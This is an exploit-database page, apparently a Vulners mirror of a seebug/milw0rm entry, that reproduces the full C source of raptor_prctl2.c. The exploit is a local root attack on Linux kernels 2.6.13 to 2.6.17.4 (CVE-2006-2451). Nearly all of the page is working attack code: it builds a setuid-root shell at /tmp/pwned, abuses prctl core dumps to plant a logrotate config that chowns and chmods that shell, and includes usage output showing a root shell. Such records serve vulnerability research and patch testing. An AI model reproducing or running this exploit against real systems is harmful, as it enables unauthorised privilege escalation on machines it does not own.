Lucene search
K

Linux Kernel 2.6.13 <= 2.6.17.4 - prctl() Local Root Exploit (logrotate)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 44 Views

Linux Kernel 2.6.13 <= 2.6.17.4 - prctl() Local Root Exploit (logrotate

Related
Code

                                                /*
 * $Id: raptor_prctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $
 *
 * raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
 * Copyright (c) 2006 Marco Ivaldi &#60;[email protected]&#62;
 *
 * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 
 * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 
 * of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via 
 * the PR_SET_DUMPABLE argument of the prctl function and a program that causes 
 * a core dump file to be created in a directory for which the user does not 
 * have permissions (CVE-2006-2451).
 *
 * This exploit uses the logrotate attack vector: of course, you must be able 
 * to chdir() into the /etc/logrotate.d directory in order to exploit the 
 * vulnerability. I&#39;ve experimented a bit with other attack vectors as well, 
 * with no luck: at (/var/spool/atjobs/) uses file name information to 
 * establish execution time, /etc/cron.hourly|daily|weekly|monthly want +x 
 * permissions, xinetd (/etc/xinetd.d) puked out the crafted garbage-filled 
 * coredump (see also http://www.0xdeadbeef.info/exploits/raptor_prctl.c).
 * 
 * Thanks to Solar Designer for the interesting discussion on attack vectors.
 *
 * NOTE THAT IN ORDER TO WORK THIS EXPLOIT *MUST* BE STATICALLY LINKED!!!
 *
 * Usage:
 * $ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
 * [exploit must be statically linked]
 * $ ./raptor_prctl2
 * [please wait until logrotate is run]
 * $ ls -l /tmp/pwned
 * -rwsr-xr-x  1 root users 7221 2006-07-18 13:32 /tmp/pwned
 * $ /tmp/pwned
 * sh-3.00# id
 * uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
 * sh-3.00#
 * [don&#39;t forget to delete /tmp/pwned!]
 *
 * Vulnerable platforms:
 * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
 */

#include &#60;stdio.h&#62;
#include &#60;unistd.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;signal.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;sys/resource.h&#62;
#include &#60;sys/prctl.h&#62;

#define INFO1	&#34;raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)&#34;
#define	INFO2	&#34;Copyright (c) 2006 Marco Ivaldi &#60;[email protected]&#62;&#34;

char payload[] = /* commands to be executed by privileged logrotate */
&#34;\n/var/log/core {\n    daily\n    size=0\n    firstaction\n        chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n    endscript\n}\n&#34;;

char pwnage[] = /* build setuid() helper to circumvent bash checks */
&#34;echo \&#34;main(){setuid(0);setgid(0);system(\\\&#34;/bin/sh\\\&#34;);}\&#34; &#62; /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &&#62;/dev/null; rm -f /tmp/pwned.c&#34;;

int main(void)
{
	int 		pid;
	struct rlimit 	corelimit;
	struct stat	st;

	/* print exploit information */
	fprintf(stderr, &#34;%s\n%s\n\n&#34;, INFO1, INFO2);

	/* prepare the setuid() helper */
	system(pwnage);

	/* set core size to unlimited */
	corelimit.rlim_cur = RLIM_INFINITY;
	corelimit.rlim_max = RLIM_INFINITY;
	setrlimit(RLIMIT_CORE, &corelimit);

	/* let&#39;s create a fake logfile in /var/log */
	if (!(pid = fork())) {
		chdir(&#34;/var/log&#34;);
		prctl(PR_SET_DUMPABLE, 2);
		sleep(666);
		exit(1);
	}
	kill(pid, SIGSEGV);

	/* let&#39;s do the PR_SET_DUMPABLE magic */
	if (!(pid = fork())) {
		chdir(&#34;/etc/logrotate.d&#34;);
		prctl(PR_SET_DUMPABLE, 2);
		sleep(666);
		exit(1);
	}
	kill(pid, SIGSEGV);

	/* did it work? */
	sleep(3);
	if ((stat(&#34;/var/log/core&#34;, &st) &#60; 0) || 
	    (stat(&#34;/etc/logrotate.d/core&#34;, &st) &#60; 0)) {
		fprintf(stderr, &#34;Error: Not vulnerable? See comments.\n&#34;);
		exit(1);
	}

	/* total pwnage */
	fprintf(stderr, &#34;Please wait until logrotate is run and check /tmp/pwned;)\n&#34;);
	exit(0);
}

// milw0rm.com [2006-07-18]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.06758
44